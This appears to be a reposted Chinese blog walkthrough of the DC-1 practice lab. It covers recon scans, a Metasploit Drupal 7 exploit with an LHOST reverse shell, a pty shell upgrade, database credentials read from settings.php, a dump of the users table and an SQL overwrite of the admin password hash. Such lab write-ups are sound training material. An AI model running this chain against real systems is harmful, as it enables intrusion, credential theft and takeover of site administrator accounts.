0


DC系列靶场---DC 1靶场的渗透测试(一)

信息收集

1、地址探测

因为我们是在内网环境中所以我们使用arp地址探测

通过arp-scan地址探测,目标主机IP地址为172.30.1.140

arp-scan -l -I eth0

2、Masscan扫描

好处就一个字快

--adapter-ip //指定网段

--rate=1000 //指定发包的速率

-p 1-65535 //对所有端口做扫描

masscan --adapter-ip 172.30.1.20 --rate=1000-p1-65535 172.30.1.140

3、Nmap扫描

-sV 对目标主机进行版本服务扫描

-p- 对目标主机所有端口进行扫描

-T4 对目标主机使用野蛮的扫描(常用)

nmap -sV-p--T4172.30.1.140

得知目标主机开启了22端口,版本为openSSH6.0版本

80端口版本为apache2.2.22版本 目标主机开启了80端口我们可以试着访问一下网站

4、网站信息探测

这是一个Drupal的CMS,Drupal是使用PHP语言编写的开源内容管理框架(CMF)

是基于PHP语言最著名的WEB应用程序

5、HTTP探测

BurpSuite探测Http头部

HTTP代理(Proxy) — 它作为一个 Web 代理服务器运行,并且位于浏览器和目标 Web 服务器之间。这允许拦截、检查和修改在两个方向上通过的原始流量。

通过http的头部我们得到的信息

Server:Apache/2.2.22(Debian)

PHP语言 5.4.45版本

Drupal版本7

浏览器插件

Wappalyzer是一个跨平台的工具,可以揭示网站使用的各种技术。它能够检测内容管理系统(CMS)、电商平台、Web框架、服务器软件、分析工具等。简单来说,就是一键看穿一个网站的底细。

漏洞检测及利用

第一种方法:

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 直接搜索名字可以加版本号

第二种方法:

使用google hacking搜索语法

第三种方法:

使用Metasploitable搜索存在的漏洞并直接利用

使用search 搜索是否有这个版本的漏洞

search drupal 7

找到之后可以使用编号,也可以使用全部名称

use 1

使用options查看该模块的选项

options

RHOSTS代表目标主机

Required中yes是模块中必须有值,no就代表可有可无。

LHOST代表侦听主机,LPORT代表端口号,端口号要根据实际情况而改变。

set给LHOST赋值

set LHOST 172.30.1.20

set给RHOSTS赋值

set RHOSTS 172.30.1.140

exploit启动模块进行攻击

exploit

Metasploitable的基本使用命令

Meterpreter的基本使用命令

列出被渗透主机的系统信息

获取shell

获取交互式SHELL

python -c 'import pty;pty.spawn("/bin/bash")'

列出被渗透主机的网络信息

因没有做环境变量所以我们必须指定完整路径也就是/sbin/ifconfig

/sbin/ifconfig

也可以使用ip a,这个不需要指定完整路径。

列出主机的所有进程

第一个flag

我们查看一下第一个flag,因为每个flag都是下个flag的提示

第二个flag

cat flag1.txt

第一个flag的意思是:每个好的CMS都需要一个配置文件-您也是如此。

也就是提示我们去查看这个CMS的配置文件。因为Drupal是开源的所以我们是可以通过搜索引擎搜到配置文件的路径的。

现在我们已经知道这个配置文件的位置了,我们去访问下看看

已经看到settings.php这个CMS的配置文件了

我们使用vi去查看一下这个脚本

看到这是flag2,从flag2中我们可以看到这是mysql的账号和密码。

第三个flag

那我们尝试登录一下

mysql -udbuser -pRock3t

我们已经成功登录到目标主机的mysql数据库了,我们看一下数据库中有哪些重要的信息。

查看有哪些库

show databases;

我们应该关注这个drupaldb这个表,我们进入这个表中看看。

use drupaldb

show tables;

看到一个users的数据表,这个表中我们通过名字应该能猜测到这个是用户表。

我们看一下这个表

select * from users;

这里用户有两个用户,我们只需要关注admin这个用户,这个应该是网站管理员的账户和密码。

但是我们不知道这个哈希密文的加密方式是什么,我们可以使用工具判断一下。

hashid '$S$DQ06aFS.CROdkZLPcDVcvoiXiyoeROtLXIg28cU1zLkZYUduqHGu'

我们的思路可以从官方文档中查找一些关于drupal7的密码恢复之类的文件。包括官方的文档,也下载源码做代码审计。

Resetting the administrator password with sql-query (Drupal 7) | Drupal.org 这个网址就是Drupal7的官方密码重置方法。

根据这个文档进行更新admin用户的密码

首先再网站根目录下执行 ./scripts/password-hash.sh 123456

./scripts/password-hash.sh 123456

我们首先利用Drupal的加密方式生成123456的加密后的值

我们把这个Hash值先复制下来,然后去mysql中更新密码。

UPDATE users SET pass ='$S$D90Wu0bEVxvinaMEJ3rSubL6QdJp3kKjqu2ZtaUryGXk4bihSFxC' WHERE uid = 1;

看到密码已经更新完成我们去登录一下

这样我们就得到了第三个flag.

标签: 网络 安全 linux

本文转载自: https://blog.csdn.net/zhouA0221/article/details/140498410
版权归原作者 白帽子二三 所有, 如有侵权,请联系我们删除。

“DC系列靶场---DC 1靶场的渗透测试(一)”的评论:

还没有评论